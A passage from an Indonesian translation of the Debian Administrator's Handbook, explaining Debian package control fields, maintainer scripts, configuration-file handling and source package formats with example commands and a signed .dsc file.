hardware::storage:cd, implemented-in::c++, implemented-in::perl,

implemented-in::ruby, interface::commandline, network::client,

protocol::ftp, protocol::http, protocol::ipv6, role::program,

scope::application, scope::utility, suite::debian, use::downloading,

use::organizing, use::playing, use::searching, works-with-format::html,

works-with::audio, works-with::software:package, works-with::text

Section: admin

Priority: required

Filename: pool/main/a/apt/apt_1.8.2_amd64.deb

Size: 1418108

MD5sum: 0e80dedab6ec1e66a8f6c15f1925d2d3

SHA256: 80e9600822c4943106593ca5b0ec75d5aafa74c6130ba1071b013c42c507475e

KEMBALI KE DASAR RFC — Internet standards

RFC ialah singkatan dari “Request For Comments”. Sebuah RFC umumnya ialah dokumen teknis yang menjelasan apa yang akan menjadi standar Internet. Sebelum menjadi terstandar dan dibekukan, standar ini dikirim untuk ditinjau oleh umum (karenanya nama mereka demikian). IETF (Internet Engineering Task Force) memutuskan evolusi status dari dokumen tersebut (standar yang diusulkan, draf standar, atau standar).

RFC 2026 menjelaskan proses standarisasi protokol Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Ketergantungan: Field Depends

Ketergantungan dijabarkan pada field Depends pada header paket. Ini ialah daftar syarat yang harus dipenuhi agar paket dapat bekerja dengan baik. Informasi ini digunakan oleh alat seperti apt agar memasang pustaka, alat, driver, dsb. yang diperlukan, dalam versi yang sesuai, yang memenuhi ketergantungan dari paket yang akan dipasang. Untuk setiap ketergantungan, memungkinkan untuk membatasi rentang versi yang memenuhi syarat. Dengan kata lain, memungkinkan untuk mengekspresikan fakta bahwa kita perlu paket libc6 dengan versi yang sama atau lebih dari "2.15" (ditulis "libc6 (>= 2.15)"). Operator perbandingan versi adalah sebagai berikut:

- <<: kurang dari;

- <=: kurang atau sama dengan;

- =: sama dengan (catat bahwa “2.6.1” tidak sama dengan “2.6.1-1”);

- >=: lebih dari atau sama dengan;

- >>: lebih dari.

Dalam daftar syarat yang harus dipenuhi, koma berfungsi sebagai pemisah. Harus diinterpretasikan sebagai logika “dan”. Dalam kondisi, garis tegak (“|”) mengekspresikan logika “atau” (merupakan inklusif “or”, bukan eksklusif “either/or”). Membawa prioritas yang lebih besar dari “dan”, dapat digunakan sesering mungkin bilamana diperlukan. Nah, ketergantungan “(A atau B) dan C” ditulis A | B, C. Perbedaannya, ekspresi “A atau (B dan C)” harus ditulis “(A atau B) dan (A atau C)”, karena field Depends tidak dapat menolelir tanda kurung yang dapat mengubah urutan prioritas antara operator logikal “atau” dan “dan”. Harus ditulis A | B, A | C.

→ https://www.debian.org/doc/debian-policy/#document-ch-relationships

Sistem ketergantungan islah mekanisme yang baik untuk menjamin operasi program, namun memiliki kegunaan lain dengan “meta-packages”. Ini adalah paket kosong yang hanya menjelaskan ketergantungan. Mereka memfasilitasi instalasi kelompok program yang konsisten yang dipilih sebelumnya oleh pengelola meta-package; seperti, apt-get install meta-package akan secara otomatis memasang seluruh program ini menggunakan ketergantungan meta-package. gnome, kde-full, dan linux-image-amd64 merupakan contoh paket-meta.

DEBIAN POLICY field Rekomendasi, Saran, dan Peningkatan

Field Rekomendasi dan Saran menjelaskan ketergantungan yang tidak wajib. Ketergantungan “direkomendasikan”, paling penting, sangat meningkatkan fungsionalitas yang ditawarkan oleh paket namun tak terlalu diperlukan oleh operasinya. Ketergantungan “disarankan”, lebih penting, menunjukkan bahwa beberapa paket mungkin melengkapi dan meningkatkan utilitasnya, namun sangat beralasan untuk menginstallnya tanpa yang lain.

Anda harus selalu menginstal paket "disarankan", kecuali Jika Anda tahu persis mengapa Anda tidak membutuhkannya. Ini sekarang juga default untuk APT kecuali dikonfigurasi sebaliknya. Sebaliknya, tidak perlu menginstal paket "disarankan" kecuali Anda tahu mengapa Anda membutuhkannya. Perilaku apt dapat dikontrol dengan menggunakan opsi konfigurasi APT::Install-Recommends dan APT::Install-Suggests atau opsi baris perintah yang sesuai --[no-]install-recommends dan --[no-]install-suggests.

Field Enhances juga menjelaskan sebuah saran, namun dalam konteks yang berbeda. Sebenarnya berada di paket yang disarankan, dan bukan dalam paket yang memperoleh keuntungan dari saran. Menariknya terletak pada bahwa adalah mungkin untuk menambahkan saran tanpa perlu memodifikasi paket yang diperhatikan. Dengan demikian, semua add-on, plugin, dan ekstensi lain dari sebuah program dapat muncul pada daftar saran yang berhubungan dengan perangkat lunak. Meskipun hal ini telah ada selama beberapa tahun, field terakhir ini umumnya diabaikan oleh program seperti apt-get atau synaptic. Tujuannya ialah untuk saran yang dibuat oleh field Enhances untuk menampilkan saran tradisional kepada pengguna — ditemukan di field Suggest.

DEBIAN POLICY Pre-Depends, lebih mendesak Depends

“Pre-dependencies”, yang terdaftar di field “Pre-Depends” di header paket, melengkapi ketergantungan normal; syntaxnya mirip. Ketergantungan normal dimaksudkan paket yang diperlukan harus dibongkar dan dikonfigurasi sebelum konfigurasi paket menjelaskan ketergantungan. Sebuah pre-dependency menetapkan bahwa paket yang diperlukan harus dibongkar dan dikonfigurasi sebelum eksekusi skrip pre-instalation paket menjelaskan pre-dependency, sebelum instalasinya.

Sebuah pre-dependency sangat diperlukan untuk apt, karena menambahkan pembatas yang ketat pada pengurutan paket untuk diinstall. Demikian, pre-dependencies diabaikan kecuali benar-benar sangat diperlukan. Bahkan direkomendasikan untuk berkonsultasi ke pengembang lain pada <debian-devel@lists.debian.org> sebelum menambahkan sebuah pre-dependency. Umumnya memungkinkan untuk menemukan solusi lain sebagai sebuah kerja-sama.

5.2.1.2. Konflik: field Konflik

Field Konflik menandakan ketika paket tidak dapat diinstall secara simultan dengan paket lain. Alasan yang paling umum untuk hal ini ialah kedua paket menyertakan berkas dengan nama dan path yang sama, atau menyediakan layanan yang sama pada port TCP yang sama, atau akan menghalangi operasi satu sama lain.

dpkg akan menolak memasang paket jika menimbulkan konflik dengan paket yang telah terpasang, kecuali paket yang baru menetapkan akan "menggantikan" paket terpasang, yang dalam kasus tersebut dpkg akan memilih untuk mengganti paket lama dengan yang baru. apt selalu mengikuti instruksi Anda: jika Anda memilih untuk memasang paket baru, akan secara otomatis menawarkan untuk membongkar paket yang menimbulkan masalah.

5.2.1.3. Ketidakcocokan: Field Break

Field Break (rusak) memiliki efek yang mirip dengan field Konflik, namun memiliki makna khusus. Ini menandakan bahwa instalasi paket akan “merusak” paket lain (atau beberapa versinya). Secara umum, ketidakcocokan antara kedua paket ini bersifat fana, dan hubungan Break secara khusus mengacu pada ketidakcocokan versi.

dpkg akan menolak memasang paket yang merusak paket terpasang, dan apt akan mencoba menyelesaikan masalahnya dengan memutakhirkan paket yang akan rusak dengan versi yang lebih baru (yang diasumsikan diperbaiki dan, sehingga, cocok kembali).

Situasi semacam ini mungkin terjadi ketika pembaruan tanpa kompabilitas ke belakang: hal ini terjadi jika versi baru tidak lagi dapat berfungsi dengan versi lama, dan menimbulkan tidak berfungsi di program lain tanpa membuat ketentuan khusus. Field Breaks menghalangi pengguna untuk masuk ke masalah ini.

5.2.1.4. Item Disediakan: Field Provides

Field ini memerkenalkan konsep yang sangat menarik dari sebuah “paket virtual”. Memiliki banyak aturan, namun dua yang terkadang penting. Aturan pertama berupa penggunaan paket virtual menghubungkan layanan umum dengannya (paket “menyediakan” layanan). Kedua menandakan bahwa paket menggantikan yang lainnya, dan dengan tujuan ini dapat juga memenuhi ketergantungan yang dipenuhi lainnya. Memungkinkan untuk membuat pengganti paket tanpa menggunakan nama paket yang sama.

KOSAKATA Paket-Meta dan paket virtual

Sangat penting untuk membedakan secara jelas paket-meta dari paket virtual. Yang pertama ialah paket nyata (termasuk berkas .deb asli), yang hanya bertujuan untuk mengekspresikan ketergantungan.

Paket virtual, di sisi lain, tidak eksis secara fisik; hanya dimaksudkan untuk mengidentifikasi paket nyata berdasarkan hal yang umum, kriteria logis (layanan yang disediakan, kecocokan dengan standar program atau paket yang belum ada, dll.).

5.2.1.4.1. Menyediakan sebuah “Layanan”

Mari membahas kasus pertama secara lebih mendetail dengan sebuah contoh: seluruh server mail, seperti postfix atau sendmail dikatakan “menyediakan” paket virtual mail-transport-agent. Nah, beberapa paket memerlukan layanan ini agar berfungsi (mis. manajer mailing list, seperti smartlist atau sympa) hanya perlu menyatakan ketergantungannya memerlukan mail-transport-agent daripada menentukan daftar banyak solusi yang memungkinkan namun tak lengkap (mis. postfix | sendmail | exim4 | …). Lebih jauh, sangat tidak berguna untuk memasang dua server mail di mesin yang sama, itulah mengapa setiap paket ini menjelaskan konflik dengan paket virtual mail-transport-agent. Konflik antara suatu paket dan dirinya sendiri diabaikan oleh sistem, namun teknik ini akan menghalangi instalasi dua server mail berdampingan.

DEBIAN POLICY Daftar paket virtual

Agar paket virtual bermanfaat, setiap orang harus setuju dengan penamaannya. Oleh karena itu, hal ini terstandarisasi di Debian Policy. Termasuk di antaranya mail-transport-agent untuk server mail, c-compiler untuk compiler bahasa pemrograman C, www-browser untuk peramban web, httpd untuk server web, ftp-server untuk server FTP, x-terminal-emulator untuk emulator terminal dalam mode grafis (xterm), dan x-window-manager untuk manajer jendela.

Daftar lengkapnya dapat ditemukan di web.

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Ketergantian dengan Paket Lain

Field Provides menarik juga ketika isi sebuah paket disertakan dalam paket yang lebih besar. Contohnya, modul Perl libdigest-md5-perl ialah modul pilihan di Perl 5.6, dan telah terintegrasi sebagai standar di Perl 5.8 (dan versi berikutnya, seperti 5.28 yang tersedia di Buster). Dengan demikian, paket perl sejak versi 5.8 mendeklarasikan Provides: libdigest-md5-perl sehingga ketergantungan paket ini terpenuhi jika pengguna memiliki Perl 5.8 (atau lebih baru). Paket libdigest-md5-perl sendiri telah dihapus, karena tak lagi memiliki manfaat ketika Perl versi lama telah dihapus.

Gambar 5.1. Penggunaan field Provides untuk mengabaikan ketergantungan

Fitur ini sangat berguna, karena tak mungkin untuk mengantisipasi lika-liku pengembangan, dan perlu untuk mengatur penamaan, dan penggantian otomatis lainnya, dari perangkat lunak yang usang.

KEMBALI KE DASAR Perl, sebuah bahasa pemrograman

Perl (Practical Extraction and Report Language) merupakan bahasa pemrograman yang sangat populer. Memiliki banyak modul yang siap digunakan yang mencakup spektrum luas dari aplikasi, dan distribusikan oleh server CPAN (Comprehensive Perl Archive Network), sebuah jaringan paket Perl yang lengkap.

→ https://www.perl.org/

→ https://www.cpan.org/

Karena merupakan bahasa interprete, program yang ditulis dalam Perl tidak memerlukan kompilasi untuk dieksekusi. Oleh karena itu, mereka disebut “Perl scripts”.

5.2.1.4.3. Batasan Masa Lalu

Paket virtual sebelumnya memiliki beberapa keterbatasan, yang paling signifikan ialah ketiadaan nomor versi. Kembali ke contoh sebelumnya, ketergantungan seperti Depends: libdigest-md5-perl (>= 1.6), walaupun ada Perl 5.10, tidak akan pernah dianggap terpenuhi oleh sistem pemaketan — ketika kenyataannya kemungkinan besar terpenuhi. Tanpa menyadari ini, sistem paket mengambil pilihan yang paling kurang berrisiko, mengasumsikan bahwa versinya tidak cocok.

Pembatasan ini telah dicabut dalam dpkg 1.17.11, dan tidak relevan lagi. Paket dapat menetapkan suatu versi ke paket virtual yang mereka sediakan dengan suatu kebergantungan seperti misalnya Provides: libdigest-md5-perl (=1.8).

5.2.1.5. Mengganti Berkas: Field Replaces

Field Replaces menunjukkan bahwa paket berisi berkas yang juga ada di paket lain, namun paket tersebut secara sah menggantinya. Tanpa spesifikasi ini, dpkg gagal, menyatakan bahwa dpkg tidak dapat menimpa berkas dari paket lain (secara teknis, memungkinkan untuk memaksanya dengan pilihan --force-overwrite, tapi itu tidak dianggap operasi standar). Hal ini memungkinkan mengidentifikasi potensi masalah dan maintainer perlu memelajari apakah perlu untuk menambahkan sebuah field yang demikian.

Penggunaan field ini adil ketika nama paket berganti atau ketika paket di sertakan pada paket lainnya. Hal ini juga terjadi ketika maintainer memutuskan untuk mendistribusikan berkas dengan cara yang berbeda antara berbagai paket biner yang dibuat dari paket sumber yang sama: pengganti berkas tidak lagi dimiliki paket lama, namun hanya yang baru.

Jika seluruh berkas pada paket terinstall telah diganti, paket tersebut dianggap perlu untuk dihapus. Akhirnya, field ini juga mendorong dpkg untuk menghapus paket yang diganti ketika ada konflik.

LEBIH JAUH Field Tag

Pada contoh apt di atas, kita dapat melihat ada field yang belum dijelaskan, field Tag. Field ini tidak menjelaskan hubungan antara paket, namun cara mudah memberi kategori paket dalam taksonomi tematik. Klasifikasi paket ini berdasarkan beberapa kriteria (tipe antarmuka, bahasa pemrograman, domain aplikasi, dll.) terlah tersedia sejak lama. Meskipun demikian, tidak semua paket memiliki tag yang akurat dan belum terintegrasi dalam semua alat-alat Debian; aptitude menampilkan tag ini, dan mengizinkannya menggunakan sebagai kriteria pencarian. Untuk paket yang diabaikan oleh kriteria pencarian aptitude, website berikut menyediakan navigasi dari basisdata tag:

→ https://wiki.debian.org/Debtags

5.2.2. Skrip Konfigurasi

Selain berkas control, arsip control.tar.gz untuk setiap paket Debian berisi beberapa skrip, dipanggil oleh dpkg pada tahap-tahap yang berbeda ketika memroses sebuah paket. Debian Policy menjelaskan kemungkinan kasusnya secara mendetail, menentukan skrip yang dipanggil dan argumen yang mereka terima. Langkah ini bisa jadi rumit, kareja jika salah satu skrip gagal, dpkg akan mencoba kembali ke kondisi yang memuaskan dengan membatalkan instalasi atau penghapusan berlangsung (sampai sejauh yang memungkinkan).

LEBIH JAUH basisdata dpkg

Seluruh skrip konfigurasi untuk paket terinstall disimpan di folder /var/lib/dpkg/info/, dalam bentuk berkas yang diawali dengan nama paketnya. Direktori ini juga menyertakan berkas dengan ekstensi .list untuk setiap paket, berisi daftar berkas yang dimiliki paket tersebut.

Berkas /var/lib/dpkg/status berisi beberapa seri blok data (dalam format mail header yang terkenal, RFC 2822) menjelaskan status setiap paket. Informasi dari berkas control paket terinstall juga direplikasi di sana.

Umumnya, skrip preinst dieksekusi sebelum instalasi paket, sedangkan postinst mengikutinya. Begitu pula, prerm dipanggil sebelum penghapusan sebuah paket dan postrm setelahnya. Pembaruan sebuah paket sama dengan penghapusan versi sebelumnya dan instalasi yang baru. Tidak memungkinkan untuk menjelaskan secara mendetail seluruh kemungkinan skenario di sini, namun kita akan membahas dua yang paling umum: instalasi/pembaruan dan penghapusan.

PERHATIAN Nama simbolis dari skrip

Langkah yang dijelaskan di bagian ini memanggil skrip konfigurasi dengan nama yang spesifik, seperti old-prerm atau new-postinst. Mereka, masing-masing, skrip prerm di paket versi lama (terinstall sebelum pembaharuan) dan skrip postinst di paket versi baru (terinstall oleh pembaharuan).

TIP Diagram kondisi

Manoj Srivastava dan Margarita Manterola membuat diagram ini menjelaskan bagaimana skrip konfigurasi dipanggil oleh dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Instalasi dan Pembaharuan

Inilah yang terjadi selama instalasi (atau pembaharuan):

1. Untuk pembaharuan, dpkg memanggil old-prerm upgrade new-version.

2. Masih untuk pembaharuan, dpkg kemudian mengeksekusi new-preinst upgrade versi-lama; untuk instalasi permulaan, mengeksekusi new-preinst install. Mungkin ditambahkan versi lama di akhir parameter, jika paket telah terinstall dan dihapus karenanya (namun tidak di-purge, berkas konfigurasi dipertahankan).

3. Berkas-berkas paket baru kemudian dibongkar. Jika berkas telah ada, diganti, namun salinan backup dibuat untuk sementara.

4. Untuk sebuah pembaharuan, dpkg mengeksekusi old-postrm upgrade versi-baru.

5. dpkg memerbarui semua data internal (daftar berkas, skrip konfigurasi, dll.) dan membuang backup berkas yang tergantikan. Inilah maksud dari tidak ada kembali: dpkg tidak lagi dapat mengakses elemen yang diperlukan untuk kembali ke kondisi sebelumnya.

6. dpkg akan memerbarui berkas konfigurasi, menanyakan pengguna untuk memutuskan jika tidak dapat secara otomatis mengatur tugas ini. Prosedur ini dibahas secara mendetail di Bagian 5.2.3, “Checksums, Daftar Berkas Konfigurasi”.

7. Akhirnya, dpkg mengonfigurasi paket dengan mengeksekusi new-postinst configure versi-terbaru-terkonfigurasi.

5.2.2.2. Penghapusan Paket

Inilah yang terjadi selama penghapusan sebuah paket:

1. dpkg memanggil prerm remove.

2. dpkg menghapus seluruh berkas paket, dengan pengecualian berkas konfigurasi dan skrip konfigurasi.

3. dpkg mengeksekusi postrm remove. Semua skrip konfigurasi, kecuali postrm, dihapus. Jika pengguna tidak menggunakan pilihan “purge”, prosesnya berhenti di sini.

4. Untuk sebuah purge (pemusnahan) maksimal paket (perintah dengan dpkg --purge atau dpkg -P), berkas konfigurasi juga dihapus, sebagaimana beberapa salinannya (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) dan berkas sementara; dpkg kemudian mengeksekusi postrm purge.

KOSAKATA Purge, penghapusan maksimal

Ketika sebuah paket Debian dihapus, berkas konfigurasi dipertahankan agar memfasilitasi kemungkinan instalasi ulang. Demikian pula data yang dihasilkan oleh sebuah daemon (seperti konten sebuah direktori server LDAP, atau konten sebuah basisdata untuk server SQL) biasaya dipertahankan.

Untuk menghapus seluruh data yang berhubungan dengan sebuah paket, perlu mem-“purge” paket dengan perintah, dpkg -P paket, apt-get remove --purge paket, atau aptitude purge paket.

Mengingat sifat definitif penghapusan data tersebut, pembersihan tidak boleh dianggap enteng.

Empat skrip yang dijelaskan di atas dilengkapi oleh skrip config, disediakan oleh paket menggunakan debconf untuk mendapatkan informasi dari pengguna untuk konfigurasi. Selama instalasi, skrip ini menentukan secara mendetail pertanyaan yang diminta oleh debconf. Responnya direkaom dalam basisdata debconf untuk preferensi mendatang. Skrip umumnya dieksekusi oleh apt sebelum instalasi paket satu demi satu agar mengelompokkan pertanyaan dan memintanya semua ke pengguna pada awal proses. Skrip instalasi pre- dan post- kemudian dapat menggunakan informasi ini untuk beroperasi berdasarkan keinginan pengguna.

ALAT debconf

debconf telah dibuat untuk menyelesaikan permasalahan yang berulang di Debian. Seluruh paket Debian tidak dapat berfungsi tanpa konfigurasi minimum yang seharusnya diminta dengan memanggil perintah echo dan read dalam postinst skrip shell (dan skrip lain yang serupa). Namun ini juga bermaksud bahwa selama instalasi atau pembaharuan pengguna harus bersama komputernya untuk merespon berbagai pertanyaan yang mungkin muncul kapan saja. Interaksi manual ini hampir seluruhnya telah ditiadakan, terimakasih untuk alat debconf.

debconf memiliki banyak fitur menarik: pengembang perlu menentukan interaksi pengguna; menyediakan lokalisasi seluruh string yang ditampilkan ke pengguna (seluruh terjemahan disimpan di berkas templates menjelaskan interaksi); memiliki antarmuka berbeda untuk menampilkan pertanyaan ke pengguna (mode teks, mode grafis, non-interaktif); dan mengizinkan pembuatan basisdata sentral dari respon untuk berbagi konfigurasi yang sama dengan beberapa komputer... namun hal yang paling penting ialah sekarang memungkinkan seluruh pertanyaan dalam satu baris kepada pengguna, sebelum memulai instalasi atau proses pembaharuan yang panjang. Pengguna dapat pergi dengan urusan mereka ketika sistem menangani instalasinya sendiri, tanpa perlu berada di depan layar menanti pertanyaan.

5.2.3. Checksums, Daftar Berkas Konfigurasi

Tambahan pula untuk skrip maintainer dan data kontrol yang telah disebutkan di bagian sebelumnya, arsip control.tar.gz dari sebuah paket Debian mungkin berisi berkas-berkas lain yang menarik. Pertama md5sums, berisi MD5 checksums untuk seluruh berkas paket. Kegunaan utamanya ialah mengizinkan dpkg --verify (yang akan dipelajari di Bagian 14.3.4.1, “Mengaudit Paket-paket dengan dpkg --verify”) dan debsums (dari paket dengan nama sama, lihat Bagian 14.3.4.2, “Mengaudit Paket: debsums dan keterbatasannya”) untuk memeriksa apakah berkas telah dimodifikasi sejak instalasinya. Perhatikan bahwa ketika berkas ini tidak ada, dpkg akan membuatnya pada saat instalasi (dan menyimpannya di basis data dpkg seperti berkas kontrol lainnya).

conffiles mendaftar berkas paket yang harus ditangani sebagai berkas konfigurasi (lihat juga deb-conffiles(5)). Berkas-berkas konfigurasi dapat dimodifikasi oleh administrator, dan dpkg akan memertahankan perubahan tersebut ketika pembaharuan paket.

Efeknya, dalam situasi ini, dpkg bertindak secerdas mungkin: jika berkas konfigurasi standar tidak berubah antara kedua versi, tidak dilakukan apapu. Akan tetapi, jika berkas telah berubah, akan mencoba untuk memebarui berkas ini. Duah kasus yang mungkin: antara administrator tidak menyentuh berkas konfigurasi ini, dalam hal ini dpkg menginstall versi baru secara otomatis; atau berkas telah dimodifikasi, dalam hal ini dpkg meminta administrator versi mana yang ingin digunakan (versi lama yang dimodifikasi, atau yang baru yang disediakan oleh paket). Untuk membantu memutuskan, dpkg menawarkan untuk menampilkan sebuah “diff” yang menunjukkan perbedaan antara dua versi. Jika pengguna memilin untuk memertahankan versi lama, yang baru akan disimpan di lokasi yang sama dalam berkas dengan akhiran .dpkg-dist. Jika pengguna memilih versi baru, yang lama akan dipertahankan dalam sebuah berkas dengan akhiran .dpkg-old. Yang lainnya aksi yang tesedia berisi mengganggu sesaat dpkg untuk menyunting berkas dan berusaha mengatur kembali modifikasi yang sesuai (sebelumnya teridentifikasi oleh diff).

LEBIH JAUH Paksa dpkg untuk menanyakan permintaan berkas konfigurasi

Pilihan --force-confask memerlukan dpkg untuk menampilkan pertanyaan tentang berkas konfigurasi, bahkan ketika mereka normalnya tidak diperlukan. Yaitu, ketika menginstall ulang sebuah paket dengan pilihan ini, dpkg akan menanyakannya lagi untuk seluruh berkas konfigurasi yang dimodifikasi atau dihapus oleh administrator. Ini sangat mudah, khususnya untuk menginstall ulang berkas konfigurasi asli jika telah dihapus dan salinannya tidak tersedia: penginstal-ulangan tidak bekerja, karena dpkg memutuskan penghapusan sebagai bentuk legitimasi modifikasi, dan, hal tersebut, tidak menginstall berkas konfigurasi yang diinginkan.

LEBIH JAUH Menghindari pertanyaan berkas konfigurasi

dpkg menangani pembaharuan berkas konfigurasi, namun, ketika melakukannya, seringkali menginterupsi pekerjaannya untuk meinta masukan dari administrator. Hal ini membuat kurang menarik untuk mereka yang ingin menjalankan pembaharuan dengan cara non-interaktif. Oleh karena itu, program ini menawarkan pilihan yang memungkinkan sistem merespon secara otomatis berdasarkan logika yang sama: --force-confold memertahankan berkas versi lama; --force-confnew akan menggunakan berkas versi baru (pilihan ini masing-masing, bahkan jika berkas tidak diubah oleh administrator, yang jarang sekali efeknya diinginkan). Menambahkan pilihan --force-confdef menunjukkan dpkg untuk memutuskan sendiri ketika dimungkinkan (dengan kata lain, ketika berkas konfigurasi asli belum disentuh), dan hanya menggunakan --force-confnew atau --force-confold untuk kasus lain.

Pilihan ini berlaku untuk dpkg dan dijelaskan secara rinci dalam dpkg(1) atau dpkg --force-help, namun sering kali administrator langsung bekerja dengan program aptitude atau apt. Jadi, penting untuk mengetahui sintaks yang digunakan untuk mengindikasikan pilihan yang dilewatkan ke perintah dpkg (antarmuka baris perintahnya sangat mirip).

# apt -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" full-upgrade

Pilihan ini dapat disimpan secara langsung di konfigurasi apt. Untuk melakukannya, tulis baris berikut di berkas /etc/apt/apt.conf.d/local:

DPkg::options { "--force-confdef"; "--force-confold"; }

Termasuk pilihan ini di berkas konfigurasi berarti bahwa ini juga digunakan di antar muka grafis seperti aptitude.

5.3. Struktur sebuah Paket Sumber

5.3.1. Format

Sebuah paket sumber biasanya berisi tiga berkas, .dsc, .orig.tar.gz, dan .debian.tar.xz (atau .diff.gz). Mereka memungkinkan pembuatan paket biner (berkas .deb dijelaskan di atas) dari berkas kode sumber program, yang ditulis dengan sebuah bahasa pemrograman.

Berkas .dsc (Debian Source Control) ialah berkas teks pendek berisi header RFC 2822 (seperti berkas control yang dipelajari di Bagian 5.2.1, “Penjelasan: Berkas control”) yang menjelaskan paket sumber dan menunjukkan berkas mana yang merupakan bagiannya. Ditanda tangani oleh maintainernya, yang menjamin otentitasnya. Lihat Bagian 6.6, “Pemeriksaan Otentikasi Paket” untuk detail lebih jauh pada hal tersebut.

Contoh 5.1. Berkas .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.68-1

Maintainer: Zim Package Maintainers <zim@packages.debian.org>

Uploaders: Raphaël Hertzog <hertzog@debian.org>

Homepage: http://zim-wiki.org

Standards-Version: 4.1.3

Vcs-Browser: https://salsa.debian.org/debian/zim

Vcs-Git: https://salsa.debian.org/debian/zim.git

Build-Depends: debhelper (>= 11), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, dh-python

Package-List:

zim deb x11 optional arch=all

Checksums-Sha1:

a3b50aa8e44126cc7edd2c1912adf9820f50ad58 2044224 zim_0.68.orig.tar.gz

4e13b37625789334da2d95b93e51e41ffd3b6b01 9300 zim_0.68-1.debian.tar.xz

Checksums-Sha256:

d91518e010f6a6e951a75314138b5545a4c51151fc99f513aa7768a18858df15 2044224 zim_0.68.orig.tar.gz

23f4ddc69af74509932acc3b5f0d4cd2af943016e4fd5740b9d98ec4d49fd8c2 9300 zim_0.68-1.debian.tar.xz

Files:

336041a16687abb66fd9f604b98407e8 2044224 zim_0.68.orig.tar.gz

1714f67b35ab69e709849ad707206ca8 9300 zim_0.68-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlqyOxkACgkQA4gdq+vC

mrnCqAf/Ww9wg97VragtVhSFvehoVoJ0ZhoqNaSuCP/W1Fuf+P0YklzL2BlkVRXW

X23c8Qs1v6VE2iRY3mEkdWwgBs1QwF0MX7H1jjQfPHCynGHKlH5dfo5fqLizgCeu

c9Pug3ZisjF90CgsseO7SVDqHVmO6QsfAaGWpHAw92HDz/xwjrS/4Ejntqjy0b+r

Gmw2AZuBdhp+7C6p7In/Gg6DHPBLQGMLCKypoZKQdl+L0fWjjeykOzMIbjry2sRH

H0J4FLVGAGumh3zIZlm/t3ehGfP9Dg8FvzMaCNsf8OtYCSAEutrQEDBaskcTSIpq

L0GQhKlViDuu8gzsqm7efPEhPcsF1A==

=6jGR

-----END PGP SIGNATURE-----

Catat bahwa paket sumber juga memiliki ketergantungan (Build-Depends) sangat berbeda dari paket binernya, karena mereka menunjukkan alat yang diperlukan untuk mengompilasi perangkat lunak yang diminta dan membangun paket binernya.

PERHATIAN Perbedaan namespaces

Penting untuk dicatat di sini bahwa tidak ada keharusan sesuai antara nama paket sumber dan paket biner yang dihasilkannya. Cukup mudah dipahami jika Anda mengetahui bahwa setiap paket sumber mungkin menghasilkan beberapa paket biner. Itulah mengapa berkas .dsc memiliki field Source dan Binary untuk secara eksplisit memberi nama paket sumber dan menyimpan daftar paket biner yang dihasilkannya.

KULTUR Mengapa dibagi ke beberapa paket

Cukup sering, sebuah paket sumber (untuk perangkat lunak tertentu) dapat menghasilkan beberapa paket biner. Pembagian ini dibenarkan oleh kemungkinan untuk menggunakan (bagian dari) perangkat lunak dalam konteks yang berbeda. Misalnya suatu pustaka bersama (shared library), mungkin diinstall agar aplikasi dapat berjalan (contohnya, libc6), atau dapat diinstall untuk mengembangkan sebuah program (libc6-dev adalah paket yang benar). Kami menemukan logika yang sama untuk layanan klien/server dimana kita ingin menginstall bagian server pada satu mesin dan bagian klien di yang lainnya (ini adalah keadaan, sebagai contoh, dari openssh-server dan openssh-client).

Seperti sering kali, dokumentasi disediakan dalam paket khusus: pengguna dapat menginstallnya secara independen dari perangkat lunak, dan dapat menghapusnya kapan saja untuk menghemat ruang disk. Selain itu, ini juga menghemat ruang disk pada mirror Debian, karena paket dokumentasi akan dibagi antara seluruh arsitektur (ketimbang dokumentasi dibuat dobel pada paket untuk setiap arsitektur).

PERSPECTIVE Berbeda format paket sumber

Aslinya hanya ada satu format paket sumber. Inilah format 1.0, yang menghubungkan arsip .orig.tar.gz ke .diff.gz patch “debianisasi” (ada juga varian, berisi sebuah arsip .tar.gz, yang secara otomatis digunakan jika tidak ada arsip .orig.tar.gz).

Sejak Debian 6 Squeeze, developer Debian memiliki pilihan untuk menggunakan format baru yang memerbaiki banyak masalah pada sejarah formatnya. Format 3.0 (quilt) dapat menggabungkan beberapa arsip upstream dalam paket sumber yang sama: sebagai tambahan ke arsip biasa .orig.tar.gz, tambahannya arsip .orig-component.tar.gz dapat juga disertakan. Hal ini berguna dengan perangkat lunak yang didistribusikan pada beberapa komponen upstream namun untuk paket sumber tunggal yang diminta. Arsip ini juga dapat dikompres xz daripada gzip, yang menghemat ruang disk dan sumber daya jaringan. Akhirnya, patch monolitik, .diff.gz diganti dengan arsip .debian.tar.xz berisi instruksi kompilasi dan beberapa patch upstream yang disumbangkan oleh maintainer paket. Yang terakhir ini direkam dalam format yang cocok dengan quilt - sebuah alat yang memfasilitasi pengelolaan beberapa seri patch.

Berkas .orig.tar.gz adalah sebuah arsip berisi kode sumber yang disediakan oleh pengembang aslinya. Maintainer paket Debian diminta untuk tidak memodifikasi arsip ini agar mudah memeriksa keaslian dan integritas berkas (pembandingan dengan checksum) dan menghormati keinginan beberapa penulis.

.debian.tar.xz bersisi seluruh modifikasi yang dibuat oleh maintainer Debian, khususnya tambahan direktori debian berisi instruksi untuk eksekusi pembangunan sebuah paket Debian.

ALAT Mendekompress sebuah paket sumber

Jika Anda memiliki sebuah paket sumber, Anda dapat menggunakan perintah dpkg-source (dari paket dpkg-dev) untuk mendekompresinya:

$ dpkg-source -x zim_0.68-1.dsc

dpkg-source: info: extracting zim in zim-0.68

dpkg-source: info: unpacking zim_0.68.orig.tar.gz

dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

